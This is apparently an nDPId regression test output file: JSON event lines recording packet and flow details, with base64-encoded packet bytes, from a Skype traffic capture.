+00437{"flow_id":258,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1820,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":908926,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0yZ5AAEAG+j7AqAEilQ0gD8hpNFCsfgF8vsYh64AQECzt7wAAAQEICj4ydIU\/i4QR"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1821,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":1,"flow_first_seen":1431970695909,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.121.84.93","src_port":51306,"dst_port":62381,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":259,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1821,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":909168,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2LhAAEAG+17AqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/uVQAAAgQFtAEDAwUBAQgKPjJ0hQAAAAAEAgAA"} +00567{"flow_id":258,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1822,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":909726,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"0NQSxnP1PBXCt3IOCABFAACRUHNAAEAGcw3AqAEilQ0gD8hpNFCsfgF8vsYh64AYECyGGgAAAQEICj4ydIU\/i4QRsKu\/G+vqC8jfQ+HvwIDojVtELMrVHx8SlS274+GELEv8Mx\/sOIHL5wpScJG7+8RtU+g5Fg90VYKLwDGux8zNmsOYKUZ\/JEWy+3Ah3jd8vcozSBl279Q14msgEQ6n"} +00436{"flow_id":258,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1823,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":953433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0pfdAADUGKN6VDSAPwKgBIjRQyGm+xiHrrH4B2YAQAB39lgAAAQEICj+LhBw+MnSF"} +00522{"flow_id":258,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1824,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":953436,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"PBXCt3IO0NQSxnP1CABFCABxpfhAADUGKKCVDSAPwKgBIjRQyGm+xiHrrH4B2YAYAB17BwAAAQEICj+LhB0+MnSFDnx7qHtIbZA49IhIKDQkHH+9oDnAEmg1lVK1E7N6zNFlJiyxUhp+594fG+KU9vIzboeMjVqDWOkGP+QFcg=="} +00437{"flow_id":258,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1825,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":953556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iaZAAEAGOjfAqAEilQ0gD8hpNFCsfgHZvsYiKIAQECrtIAAAAQEICj4ydLA\/i4Qd"} +00450{"flow_id":258,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1826,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970695,"pkt_ts_usec":954089,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8B\/BAAEAGu+XAqAEilQ0gD8hpNFCsfgHZvsYiKIAYECpmtAAAAQEICj4ydLA\/i4QdlEVm+IpzAKs="} +00481{"flow_id":222,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1827,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":221249,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVo01AAEAGTLfAqAEinTfrnMhRAbsdDAEeNXDb94AZECwvwQAAAQEICj4ydbtMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00492{"flow_id":221,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1828,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":221250,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABala1AAEAGWlzAqAEinTfrkshQAbtIMwmq6zPtWYAZECxP9wAAAQEICj4ydbtMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00449{"flow_id":258,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1829,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":260498,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA85JJAAEAG30LAqAEilQ0gD8hpNFCsfgHZvsYiKIAYECplggAAAQEICj4ydeI\/i4QdlEVm+IpzAKs="} +00898{"flow_id":251,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1830,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":260625,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGDl1JAAEAGrIHAqAEiW77YGMhhMD6A1I7uSE6kloAYECnCbgAAAQEICj4ydeINH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00548{"flow_id":157,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1831,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":319748,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD4rpAADcG4YRv3U2OwKgBIgG7yDsQofTK9u6LaYAYAB1FgQAAAQEICk2QMRA+MguPFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":157,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1832,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":319863,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoSIFAAEAGcxnAqAEib91Njsg7Abv27otpAAAAAFAEAADkWwAA"} +00454{"flow_id":257,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1833,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":322730,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAkb9AAEAGQljAqAEiUHlUXchn861MQWgbAAAAALAC\/\/+rmAAAAgQFtAEDAwUBAQgKPjJ2HwAAAAAEAgAA"} +00437{"flow_id":249,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1834,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":326106,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0udhAAEAGha3AqAEiF84hpshfAbtO4sZQGQUJ6IARECyFEQAAAQEICj4ydiLsPkNy"} +00450{"flow_id":258,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1835,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":674915,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8l2BAAEAGLHXAqAEilQ0gD8hpNFCsfgHZvsYiKIAYECpj5gAAAQEICj4yd34\/i4QdlEVm+IpzAKs="} +00469{"flow_id":166,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1836,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":803720,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLSm8AAEARrL\/AqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00468{"flow_id":167,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1837,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":803808,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLheUAAEARcUnAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00455{"flow_id":259,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1838,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970696,"pkt_ts_usec":915063,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAStVAAEAGiULAqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/qbAAAAgQFtAEDAwUBAQgKPjJ4bgAAAAAEAgAA"} +00448{"flow_id":241,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1839,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":17155,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA82yhAAEAG3PPAqAEiBfi63chaeSLm2Z7HnfKa24AZECh0TgAAAQEICj4yeNQAAJTxinTTcj1jiGY="} +00468{"flow_id":204,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1840,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":131656,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKqigAAEARTQfAqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00469{"flow_id":203,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1841,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":131848,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKJ7cAAEARz3jAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00450{"flow_id":258,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1842,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":300144,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WUJAAEAGapPAqAEilQ0gD8hpNFCsfgHZvsYiKIAYECphdgAAAQEICj4yee4\/i4QdlEVm+IpzAKs="} +00455{"flow_id":257,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1843,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":326307,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAiGhAAEAGS6\/AqAEiUHlUXchn861MQWgbAAAAALAC\/\/+nrwAAAgQFtAEDAwUBAQgKPjJ6CAAAAAAEAgAA"} +00429{"flow_id":235,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1844,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":334882,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAu+HkAAEARZmnAqAEirjGr4DLdfQsAGpXefcACJf2u8qgkatcYbdd0gE\/+"} +00430{"flow_id":236,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1845,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":334945,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuk3UAAEARxbPAqAEiUx8MrTLdXYMAGjJQfcIC\/PmkO\/ZLL41O1l2CVTPo"} +00449{"flow_id":240,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1846,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":450488,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FglAAEAGEzDAqAEiR+4Hy8hZSU+QnysQ5ZyWQIAZECpZ4AAAAQEICj4yeoQDHMmEsUo9bapdk3s="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1847,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":1,"flow_first_seen":1431970697478,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":51307,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":260,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1847,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":478490,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA\/r1AAEAGxRPAqAEilQ0gD8hrNFBkkG+ZAAAAALAC\/\/82XwAAAgQFtAEDAwUBAQgKPjJ6nwAAAAAEAgAA"} +00449{"flow_id":260,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1848,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":521865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGzs2VDSAPwKgBIjRQyGvw2U4ZZJBvmqASOJDuMgAAAgQFrAQCCAo\/iaIXPjJ6nwEDAwk="} +00437{"flow_id":260,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1849,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":522012,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05GtAAEAG33HAqAEilQ0gD8hrNFBkkG+a8NlOGoAQECxFMgAAAQEICj4yeso\/iaIX"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1850,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":1,"flow_first_seen":1431970697522,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.121.84.93","src_port":51308,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":261,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1850,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":522139,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAJ8VAAEAGrFLAqAEiUHlUXchsAbvYtBS\/AAAAALAC\/\/9fxAAAAgQFtAEDAwUBAQgKPjJ6ygAAAAAEAgAA"} +00445{"flow_id":260,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1851,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":522232,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5lcVAAEAGLhPAqAEilQ0gD8hrNFBkkG+a8NlOGoAYECwuIgAAAQEICj4yeso\/iaIXFgMBAAA="} +00436{"flow_id":260,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1852,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":566374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA07DtAADUG4pmVDSAPwKgBIjRQyGvw2U4aZJBvn4AQAB1VMQAAAQEICj+JoiI+MnrK"} +00444{"flow_id":260,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1853,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":566381,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFCAA57DxAADUG4pOVDSAPwKgBIjRQyGvw2U4aZJBvn4AYAB09IQAAAQEICj+JoiI+MnrKFwMBAAA="} +00438{"flow_id":260,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1854,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":566561,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/IZAAEAGx1bAqAEilQ0gD8hrNFBkkG+f8NlOH4AQECtE8gAAAQEICj4yevY\/iaIi"} +00445{"flow_id":260,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1855,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":566693,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5LrpAAEAGlR7AqAEilQ0gD8hrNFBkkG+f8NlOH4AYECst4gAAAQEICj4yevY\/iaIiFgMBAAA="} +00438{"flow_id":258,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1856,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":567026,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0yjJAAEAG+arAqAEilQ0gD8hpNFCsfgHhvsYiKIARECrm0QAAAQEICj4yevY\/i4Qd"} +02392{"flow_id":260,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1857,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":568151,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUV9dAAEAGZmbAqAEilQ0gD8hrNFBkkG+k8NlOH4AQECvLQgAAAQEICj4yevc\/iaIiFgMBAO1Cze\/nQNcvHcsYOvwu97FcH7Zas1+64ZGQJ62ePN88xfH7LpBmZ9kp1AjtpzdM4RxNCFcJvqp5kSGf2maYE1+mbpMKjXcQ636v137BeWewnGi0Ed5FNY23HHxiW5\/qjo+m0ahZLNH+e1GlM09OsmJdZ1CTi4k9J65tvII0RBiyolC6re4aDXwhw98oga6i5VMgv8yY7hzP1NthWYfAG9EvkXG0xEOeEB4\/4+RbQpyfqeKnqTsHrOf41An30MYZi7kJV5\/D7Nu8z9elROQTVcIQvrZU9hf8Mu2y5o4NxM0UdhXDmrmWj\/TVAgtAsS4XAwEAZa+5pLwM4FoM8ehqJpWruFOo2FKEf0eSddsEs2lZxZg4R+lFoG8JDWDM4d4ZHt89CuFekbrbGXIJt5R1LHsE9Zp4tR0Vd7z2ggomE5kBKjMebWTB5TLzfR2YmL6NTw6KFoNfIgQNFwMBAGX\/v5d2FHDgB5X9twBI0bqk2gSEkPqkEoIQbdrA9ySBIaMlvdExi33cs0fQIqrWq8WPuDwWfOc+0NJYaLcYRI55MAW\/KScH5IUUllARcChZ0AsqcO77SAh2\/1nEsbTkGkgkhiWz5RcDAQBlWgyv3P91ClEckh8F6fHwjDBxXfsIQsK2brB4TxsKveAIT7y\/O+aI7YWW9oWdwFerhgy8IO8nf4yCBbX9LfIP8A3t65A4ZiBSOf5EhafadinVDjMeXlYjHtMHUbQc0KbvELq6nDoXAwEAZXj8OcWP6ANAYL+SfVnp2N7ITkQfE5s4EYFiTOJH0EtQF\/6rmFgFU0NQlVThQrPCbA+MGsAQGTFV65g6+G15cTqamOml\/ZyrYDZPpT3i5yuJ0GeSNS5WaAeOY+D\/ydYlA7YM13s8FwMBAGyk35MboljW1hVzVRl9Qb7FfPsZGhi17RaKwRjLJOl29jtZ3CU8Ud0Gs9NsMjQ9uFd5lruxY8wMWo+JovBwFVFBPNjSxmwDrkZCD8E97Dv6lqoa3NWlptO22LjeARAJDvE6qJUv1WkEqzn1by0XAwEAZXP2BoXl4w787dcMBPUV3upjks8+ZLpQml2CP8Nz0PcVzOpUCmbNFhv3IX+ljjaULEMe0\/MFWtLt0pifg\/PINlRH7Wp0BDHZ4l0LKt4aocxkxA\/bamJ2hDs71z50edaE\/oB2KvTDFwMBAHGPTVVgCm1QE7VD+wqP4SJW1RAoA4ehJGLVzNtFUiVxrd+abS5yoa3fhb0kb3IG5dcTO1Dg+y0O1b66\/1ONB3Rs0BqljO7KAsEcaVe348CXL65ifPcmnbePTQCJpAW+mGpNc4zID0wHqeEanuxpWC\/kChcDAQBxVB1w8Fc7AAQp6ARGVxx9jHYebH9o6JBSiVuhwC\/vc93uj3z8dfL10LJJUyJ809xO04msNudkNB+N+nSqKdkuWQi7R9x\/OqfkaLCT9pzs88blf0qmfJRm7SLJ3lGFZjyj4V\/l8xGsUB8JA4QFkHngpB4XAwEAdCiLPJlJ0G+a9qF6PkUnh9mx3M26S9DqYoYvbew8G8O5qRshgwTbbSa3k1Dh4xvRF0lJ3NBXTUjjAvOQl7gWoi2ck0+lM1CfO7ikaaEGHrCkPjlAsm2cEg4Wf8S\/NAWwXjAQpic1CNhxxX4PkLcd2dY6hiLcFwMBAGf41G6unFkCxkg7\/gf541YIzl6OqH0QPPIjF3\/9VQCpDgiEZaas1TE3eULG\/T16LP6K\/0Hqa7285J0CQPp9SCxDSPpecnUypOp5p5i3ly4BXkbb9XxeFIO94UKlIbgI0eCsI8gEwJgmFwMBAGZ4miTGrVUqGtzOx94L\/Jl0XK+vS1bvi7bX3ThHXxNwHW8911rqUSQ10s7iejYTprzxAZltIBF5Bohz2Cd3Jz9Q5C\/BlCUuz3DzaeKbAIV5\/joAcbGi"} 